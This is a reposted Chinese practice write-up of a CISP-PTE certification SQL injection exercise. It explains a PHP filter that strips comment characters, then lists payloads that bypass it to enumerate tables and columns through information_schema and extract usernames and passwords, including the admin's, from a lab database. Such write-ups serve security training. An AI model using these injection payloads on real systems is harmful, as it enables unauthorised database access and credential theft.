• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

CISP-PTE练习篇基础题目一SQL注入

武飞扬头像
Echo_200
帮助1

本文仅当作练习记录使用。

开始答题:

学新通

注册账号 poi ,在发表出给出过滤代码如下;

// 代码过滤规则
while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}
while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

函数的作用:

strstr(str1,str2)
函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

举例:

<?php
echo strstr("123456","5");

?>
意思就是只返回 "123456" 中出现的第一个 "5" 直到结束(显示结果结果为 56)

str_replace("--", "", $sql);
意思是将--$sql中的全部替换为 空
str_replace()函数
str_replace(find,replace,string);

find       必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string    必需。规定被搜索的字符串。
<?php
echo str_replace("1","2","11111");
?>
意思就是将111111中的1全部替换为2(显示结果为22222)

知道函数的作用之后尝试进行绕过,可利用在线运行PHP攻击进行尝试绕过。

系统没有过滤空格等特殊符号

学新通

获取当前数据库:

database',(select database()),'poi') #-#---

学新通

 获取2web数据库中的所有表:

22',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'poi')#-#---

学新通

 获取表中的字段:

column_name',(select group_concat(column_name) from information_schema.columns where  table_name='users1'),'poi')#-#---

学新通

 获取字段 password,username 中的值:

22',(select group_concat(username,'_',password) from users1),'poi')#-#---

想直接获取所有的 password,username 的值但是没有成功---可能由于查询长度过长做了限制。

知道了表明为users1,字段名为password,username;直接select * from 进行查询。

22',(select password from users1 where username='admin'),'poi')#-#---

学新通

知识点补充:

information_schema 库存储了其他数据库中的所有信息
tables表          保存了所有的数据库的名称和数据库表的名称等
schemata表    保存了所有的数据库的名称和数据库的编码信息等
columns表      保存了mysql数据库中所有表的信息如:数据库名称、字段名称、字段类型等
schema_name    库名信息
table_name         表名信息
column_name     字段信息

group_concat()    拼接显示 

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgkcjja
系列文章
更多 icon
同类精品
更多 icon
继续加载